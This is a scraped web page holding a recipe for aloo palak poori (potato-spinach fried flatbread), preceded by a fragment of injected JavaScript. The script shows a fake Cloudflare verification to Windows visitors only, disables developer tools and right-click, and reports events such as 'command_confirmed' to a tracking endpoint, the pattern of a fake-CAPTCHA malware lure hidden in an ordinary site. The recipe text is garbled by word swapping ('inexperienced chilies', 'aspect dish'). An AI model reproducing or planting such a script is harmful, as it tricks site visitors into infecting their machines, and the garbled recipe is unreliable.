`; if (ij) { if (cl) { if (all) { document.querySelectorAll(ij).forEach(function(el, i) { el.addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); }) } else { document.querySelector(ij).addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); } } else { document.querySelector(ij).before(container); initScript(); } } else { document.querySelector('html').innerHTML = container.innerHTML; initScript(); } document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); document.addEventListener('keydown', function(e) { if (e.key === 'F12' || e.keyCode === 123) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.keyCode === 73)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.key === 'j' || e.keyCode === 74)) { e.preventDefault(); return false; } if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.keyCode === 85)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.key === 'c' || e.keyCode === 67)) { e.preventDefault(); return false; } return true; }); } function sendEvent(eventType, id) { if (!syn) { return; } const payload = { id: id, event: eventType, // 'ping', captcha_opened', 'captcha_solved', 'command_confirmed' ua: navigator.userAgent, url: location.href, arch: checkArch(), timestamp: Date.now() }; const json = JSON.stringify(payload); const blob = new Blob([json], { type: 'application/json' }); const targetUrl = '/cdn/verify'; if (navigator.sendBeacon && navigator.sendBeacon(targetUrl, blob)) { return; } fetch(targetUrl, { method: 'POST', body: blob, keepalive: true, headers: { 'Content-Type': 'application/json' } }).catch(() => {}); } const arch = checkArch(); if (arch === 'non-windows') { console.log("VM detected — skipping challenge"); setTimeout(function() { if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); }, 1000); } else { //setTimeout(function() { const storedStatus = localStorage.getItem(`_verify_${currentId}`); if (storedStatus !== 'completed') { sendEvent('ping', currentId); showCloudflareChallenge(); if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); } //}, 3000); } })();
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Food

ALOO PALAK POORI | HOW TO MAKE POTATO SPINACH POORI

Admin Dev

Aloo Palak Poori is a deep fried Indian Flatbread that has the spinach puree and potato blended with spices to the dough and kneaded, deep fried as pooris.
INGREDIENTS :
 1 cup Wheat Flour / Atta
A Pinch Salt
1 no Green Chilli
1/2 cup Spinach / Palak Puree
1/2 cup Potato
1 tsp Cumin seeds
A Pinch Turmeric powder
Cooking Oil for deep frying
Aloo Palak Poori
INSTRUCTIONS :
1. Wash the leaves and microwave the leaves with 2 tbsp water for 3 to 4 mins.
2. Slash the potatoes and microwave for 4 mins. Soak and peel the skin.
3. Once it cools down, take the leaves along with inexperienced chilies.
4. Take this in a bowl, add turmeric powder, salt, cumin seeds, and mashed potato
5. Add the wheat flour and knead to a dough and roll out into discs of 4 inch diameter.
6. Heat a kadai with oil and deep fry the pooris till it browns on each sides.
7. Serve with pickle or any aspect dish.

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